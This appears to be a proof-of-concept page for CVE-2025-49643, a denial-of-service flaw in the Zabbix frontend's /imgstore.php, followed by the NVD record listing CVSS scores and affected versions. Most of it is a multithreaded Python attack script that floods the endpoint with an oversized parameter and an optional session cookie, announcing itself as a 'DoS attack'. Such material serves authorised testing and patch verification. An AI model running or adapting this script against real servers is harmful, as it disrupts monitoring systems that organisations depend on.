CVE-2025-49643

#!/usr/bin/env python3 """ CVE-2025-49643 PoC - Zabbix /imgstore.php DoS Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import argparse from concurrent.futures import ThreadPoolExecutor, as_completed def exploit_doS(target_url, session_cookie=None): """ Send crafted parameters to /imgstore.php to trigger CPU exhaustion. Parameters: target_url: Base URL of the Zabbix instance session_cookie: Zabbix session cookie for authentication """ exploit_url = f"{target_url}/imgstore.php" # Crafted parameters that trigger disproportionate CPU load # These parameters exploit the image storage processing logic params = { 'output': 'image', 'iconmapid': '1' * 10000, # Large parameter value 'imageid': 'test', } headers = {} if session_cookie: headers['Cookie'] = f'zbx_session={session_cookie}' try: response = requests.get(exploit_url, params=params, headers=headers, timeout=30) return response.status_code, len(response.content) except requests.RequestException as e: return None, str(e) def main(): parser = argparse.ArgumentParser(description='CVE-2025-49643 PoC') parser.add_argument('--url', required=True, help='Target Zabbix URL') parser.add_argument('--cookie', help='Session cookie (optional for Guest)') parser.add_argument('--threads', type=int, default=10, help='Number of concurrent requests') parser.add_argument('--requests', type=int, default=100, help='Total requests to send') args = parser.parse_args() print(f'[*] Starting DoS attack against {args.url}') print(f'[*] Using {args.threads} concurrent threads') with ThreadPoolExecutor(max_workers=args.threads) as executor: futures = [ executor.submit(exploit_doS, args.url, args.cookie) for _ in range(args.requests) ] for i, future in enumerate(as_completed(futures), 1): status, size = future.result() if status: print(f'[{i}] Status: {status}, Response size: {size}') else: print(f'[{i}] Request failed: {size}') print('[*] Attack completed') if __name__ == '__main__': main()

{"cve": {"id": "CVE-2025-49643", "sourceIdentifier": "[email protected]", "published": "2025-12-01T14:16:06.007", "lastModified": "2026-02-06T15:28:30.470", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated Zabbix user (including Guest) is able to cause disproportionate CPU load on the webserver by sending specially crafted parameters to /imgstore.php, leading to potential denial of service."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-405"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zabbix:frontend:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.0.0", "versionEndExcluding": "6.0.42", "matchCriteriaId": "5477CAD8-03CC-4E5E-8DEC-BE32355070FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zabbix:frontend:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0.0", "versionEndExcluding": "7.0.19", "matchCriteriaId": "A8F5F05A-D5D6-4205-A506-8BA6FA35C169"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zabbix:frontend:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.2.0", "versionEndExcluding": "7.2.13", "matchCriteriaId": "7F4A938F-86ED-4260-BDEE-724C4E606F64"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zabbix:frontend:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.3", "matchCriteriaId": "DE7D5FA7-871A-453E-8C76-2D00E41569CE"}]}]}], "references": [{"url": "https://support.zabbix.com/browse/ZBX-27284", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}